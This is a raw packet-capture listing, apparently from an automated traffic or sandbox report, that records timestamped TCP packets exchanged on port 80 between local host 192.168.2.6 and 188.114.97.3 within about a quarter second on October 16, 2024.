                                                                                    Oct 16, 2024 10:58:11.201678991 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.201690912 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.201700926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.201716900 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.201738119 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.201740026 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.201847076 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.201875925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.201885939 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.201900005 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.201926947 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.201939106 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.201939106 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.201956034 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.201981068 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.202002048 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.202023029 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.202050924 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.202059984 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.202096939 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.202722073 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.202732086 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.202743053 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.202752113 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.202768087 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.202770948 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.202784061 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.202817917 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.202815056 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.202832937 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.202868938 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.202899933 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.202910900 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.202920914 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.202955008 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.202975035 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.203057051 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.203066111 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.203130007 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.211734056 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.211828947 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.211838007 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.211839914 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.211849928 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.211862087 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.211870909 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.211877108 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.211884022 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.211895943 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.211905003 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.211919069 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.211944103 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.212042093 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.212052107 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.212061882 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.212071896 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.212091923 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.212117910 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.212168932 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.212239981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.212250948 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.212285995 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.212301016 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.212313890 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.212325096 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.212335110 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.212352991 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.212369919 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.212551117 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.212560892 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.212570906 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.212599039 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.212616920 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.253154039 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.253165007 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.253175020 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.253212929 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.253222942 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.253226042 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.253232002 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.253269911 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.253288984 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.256536961 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.256547928 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.256556988 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.256619930 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.256650925 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.302027941 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.302037001 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.302128077 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.307739019 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.307775974 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.307785988 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.307832956 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.309979916 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.310025930 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.310028076 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.310036898 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.310072899 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.310496092 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.310589075 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.310600042 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.310610056 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.310611963 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.310622931 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.310637951 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.310642958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.310653925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.310663939 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.310669899 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.310679913 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.310683012 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.310714960 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.313807011 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.313895941 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.313905001 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.313915968 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.313925982 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.313935995 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.313952923 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.313960075 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.313966036 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.313976049 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.313987970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.313996077 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.313997984 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.314032078 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.314315081 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.314323902 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.314333916 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.314342976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.314364910 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.314400911 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.317846060 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.317857027 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.317867041 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.317879915 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.317897081 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.317919970 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.317960024 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.317970991 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.318017960 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.318022966 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.318028927 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.318058014 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.318085909 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.318099976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.318111897 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.318120956 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.318147898 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.318176031 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.319140911 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.319181919 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.319192886 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.319192886 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.319235086 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.319278955 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.319288969 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.319298029 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.319324017 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.319341898 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.319431067 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.319441080 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.319451094 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.319468021 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.319485903 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.319494009 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.319499016 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.319525957 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.319551945 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.319591999 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.319601059 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.319612980 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.319638968 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.319648981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.319654942 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.319780111 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.320247889 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.320257902 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.320266962 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.320307016 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.320312977 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.320324898 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.320331097 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.320338011 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.320348024 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.320353031 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.320374966 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.320390940 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.320502043 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.320511103 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.320549965 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.329219103 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329227924 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329236984 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329246998 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329288960 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.329348087 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329358101 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329359055 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.329370975 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329385996 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.329411983 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.329418898 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329431057 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329457998 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.329474926 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.329514027 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329555035 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.329571009 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329581976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329618931 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.329651117 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329688072 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.329703093 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329713106 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329722881 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329750061 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.329766989 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.329879999 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329890966 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329900980 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329938889 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.329941034 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.329951048 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.330007076 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.330110073 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.330147028 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.330154896 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.330157995 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.330168962 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.330197096 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.330212116 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.370708942 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.370719910 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.370728970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.370769978 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.370804071 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.370815039 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.370825052 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.370846987 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.370865107 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.373951912 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.373963118 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.373972893 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.373982906 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.373996973 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.374002934 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.374006987 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.374033928 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.374049902 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.425098896 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.425108910 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.425117970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.425127029 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.425164938 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.425198078 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.427725077 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.427736044 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.427745104 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.427800894 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.428158045 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.428183079 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.428195000 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.428225040 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.428231001 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.428237915 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.428242922 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.428257942 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.428266048 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.428272009 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.428282976 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.428298950 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.428328991 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.428339005 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.428375006 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.428410053 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.428421021 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.428457975 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.431354046 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.431363106 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.431372881 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.431381941 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.431417942 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.431422949 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.431443930 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.431462049 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.431523085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.431534052 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.431543112 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.431571007 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.431575060 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.431592941 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.431612968 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.431663990 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.431674957 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.431685925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.431711912 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.431731939 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.431737900 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.431749105 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.431760073 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.431776047 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.431787014 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.431797981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.431799889 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.433429956 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.435381889 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.435396910 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.435405970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.435426950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.435483932 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.435494900 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.435522079 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.435522079 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.435556889 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.435565948 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.435600996 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.435633898 CEST8049735188.114.97.3192.168.2.6
